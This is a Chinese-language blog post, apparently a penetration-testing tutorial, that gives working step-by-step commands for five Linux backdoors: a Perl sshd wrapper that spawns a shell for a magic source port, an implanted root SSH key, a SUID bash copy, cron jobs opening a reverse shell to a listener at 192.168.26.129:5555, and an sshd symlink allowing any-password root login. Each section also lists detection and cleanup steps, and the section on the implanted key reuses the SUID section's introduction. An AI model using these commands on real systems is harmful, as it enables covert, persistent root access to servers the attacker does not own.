这篇文章上次修改于 705 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
0x01 SSH wrapper
1.1 简介
首先启动的是/usr/sbin/sshd
,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd
,这是原始 sshd。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd
,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername 能真的获取到客户端的 TCP 源端口,如果是13377就执行 sh 给个 shell。
简单点就是从 sshd fork 出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。而且没有开放额外的端口,只要对方开了 SSH 服务,就能远程连接
1.2 实验环境
- CentOS 7.9 x64
1.3 利用方法
在目标服务器上执行以下命令
cd /usr/sbin/
mv sshd /usr/bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
再用以下命令进行连接
socat STDIO TCP4:192.168.26.139:22,sourceport=13377
如果想修改源端口,可以用 python2 的 struct 标准库实现。其中 'x00x004A' 是13377的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',13377)
>>> print repr(buffer)
'\x00\x004A'
>>> print buffer
4A
1.4 检测及清除
直接查看/usr/sbin/sshd
文件内容是否正常
清除后门
rm -rf /usr/sbin/sshd
mv /usr/bin/sshd /usr/sbin/
1.5 参考
0x02 SSH 公钥
2.1 简介
Suid shell 是一种可用于以拥有者权限运行的 shell。
2.2 实验环境
- CentOS 7.9 x64
2.3 利用方法
先用 xshell 软件来生成公钥和私钥
工具—>新建用户密钥生成导向
下一步
下一步
输入名称和密码,然后下一步
保存公钥,然后完成
将公钥命名为 authorized_keys,并且上传到目标服务器的/root/.ssh/
目录,然后再用 xshell 以 Public Key 方法进行连接,注意,用户名这要填 authorized_keys 文件所在目录的用户
2.4 检测及清除
排查用户 .ssh 目录下是否有恶意公钥文件,删除恶意的公钥文件
2.5 参考
0x03 suidshell
3.1 简介
Suid shell 是一种可用于以拥有者权限运行的 shell。
3.2 实验环境
- CentOS 7.9 x64
3.3 利用方法
使用以下命令创建 shell
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
此时以普通用户登录,使用命令/tmp/shell -p
获得 shell,经过测试,此时已获得 root 权限
3.4 检测及清除
# 在Linux中查找SUID设置的文件
find / -perm /4000
# 在Linux中查找使用SGID设置的文件
find / -perm /2000
# 删除后门程序
rm -rf /tmp/shell
3.5 参考
0x04 定时任务
4.1 简介
利用定时任务定时反弹 shell
4.2 实验环境
- CentOS 7.9 x64
4.3 利用方法
CentOS 定时任务文件有两个,一个是/var/spool/cron
目录下,与用户名同名的文件,一个是/etc/crontab
文件
# 向 /var/spool/cron/root 文件写入定时任务
echo '*/1 * * * * bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/var/spool/cron/root
# 锁定 /var/spool/cron/root 文件,锁定以后,需要解锁才能删除,这可能会令一些新手感到头疼
chattr +i /var/spool/cron/root
# 解锁
chattr -i /var/spool/cron/root
# 向 /etc/crontab 文件写入定时任务
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/etc/crontab
收到反弹 shell
4.4 检测及清除
排查/var/spool/cron
目录与/etc/crontab
文件,删除恶意的定时任务
4.5 参考
0x05 SSH 软链接
5.1 简介
在 sshd 服务配置运行 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时只要 pam_rootok 模块检测 uid 为 0 即 root 权限即可成功认证登陆。通过软连接的方式,实质上 PAM 认证是通过软连接的文件名 /tmp/su
在/etc/pam.d/
目录下寻找对应的 PAM 配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so
,所以只要 PAM 配置文件中包含此配置即可 SSH 任意密码登陆。
5.2 实验环境
- CentOS 7.9 x64
5.3 利用方法
使用以下命令查找符合条件的对象(经过测试,config-util、chfn、chsh、su 是可以利用的)
find /etc/pam.d/ |xargs grep "pam_rootok"
再用以下命令进行软连接
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
这里需要注意你绑定的端口是否开放,没开放的话则需要开放,以下是 CentOS 的开放命令
# 查看防火墙状态
firewall-cmd --state
# 开启防火墙
systemctl start firewalld
# 关闭防火墙
systemctl stop firewalld
# 开放端口
firewall-cmd --permanent --zone=public --add-port=12345/tcp
# 重启防火墙
firewall-cmd --reload
# 查看开放的端口
firewall-cmd --list-ports
然后再用以下命令进行 ssh 连接,要注意的是密码不能为空,输入任意密码即可
ssh root@192.168.26.139 -p 12345
如果被控主机不允许 root 登陆可用其他已存在用户登陆
5.4 检测及清除
查看开放端口信息
netstat -naop
通过开放端口信息的 PID 查询进程路径
ll /proc/1308
清除后门
# 清除进程
kill -9 pid
# 清除后门程序
rm -rf 后门程序
没有评论